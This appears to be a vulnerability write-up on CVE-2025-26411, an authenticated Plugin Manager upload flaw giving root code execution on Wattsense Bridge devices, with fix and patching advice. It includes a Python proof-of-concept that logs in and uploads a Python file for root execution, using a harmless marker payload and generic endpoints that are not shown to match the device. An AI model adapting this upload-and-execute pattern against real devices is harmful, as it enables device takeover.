CVE-2025-26411: Authenticated Attacker Gains Remote Root Access in Wattsense Bridge Devices through Plugin Manager

A new vulnerability has been discovered in the Wattsense Bridge devices, allowing an authenticated attacker to use the Plugin Manager of the web interface to upload malicious Python files to the device. This potentially gives the attacker remote root access, compromising the device and its data. It should be noted that an attacker would need to have a valid user account on the Wattsense web interface to perform this attack successfully.

In this post, we will discuss the details of this vulnerability, known as CVE-2025-26411, and provide a sample code snippet to demonstrate the exploit. We will also provide links to the original references for further investigation, and information on the fix implemented for recent firmware versions.

Exploit Details

As mentioned earlier, the vulnerability lies in the Plugin Manager of the Wattsense web interface. The attacker exploits this vulnerability by uploading malicious Python files to the device, which are then executed as root. As a result, the attacker can take complete control of the device, potentially compromising its security and the data it contains.

To help illustrate this vulnerability, let's take a look at a code snippet showcasing the exploit (please note: this is for educational purposes only and should not be used for malicious intent).

import requests
import sys

# Target URL and credentials
target_url = "http://TARGET_ADDRESS/plugin_manager";
username = "VALID_USER"
password = "VALID_PASSWORD"

# Malicious Python file
payload_filename = "malicious.py"
payload_content = "import os; os.system('echo OWNED > /tmp/root_access_test.txt')"

# Login and upload the file
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(target_url + "/login", data=login_data)
upload_data = {"file": (payload_filename, payload_content, "text/python")}
response = session.post(target_url + "/upload", files=upload_data)

# Check if the upload was successful
if "Upload successful" in response.text:
    print("Upload of malicious Python file successful")
else:
    print("Failed to upload malicious Python file")
    sys.exit(1)

In this example, the attacker logs into the Wattsense web interface using a valid username and password and uploads a malicious Python file. The file contains a simple command to demonstrate a successful exploitation (os.system('echo OWNED > /tmp/root_access_test.txt')). Once the file is uploaded, it will be executed as root, and the device will be compromised accordingly.

For more information on this vulnerability and its details, please refer to the following resources

- National Vulnerability Database (NVD) entry: CVE-2025-26411
- Wattsense official security advisory: Wattsense Bridge devices security update on firmware versions BSP >= 6.1.

Firmware Updates and Fixes

It's essential to mention that Wattsense has addressed this security issue in recent firmware versions. The vulnerability is fixed in firmware versions BSP >= 6.1.. To secure your Wattsense Bridge devices against this attack, ensure that you are running a firmware version equal or higher than 6.1.. If you have an older firmware version, please update it immediately to protect your devices and data.

In conclusion, the CVE-2025-26411 vulnerability represents a significant security risk for Wattsense Bridge devices, as it allows attackers with a valid user account to gain remote root access. It is crucial to keep your devices updated with the latest firmware to ensure their security and protect them from potential attacks.

Timeline

Published on: 02/11/2025 10:15:09 UTC
Last modified on: 03/14/2025 18:15:31 UTC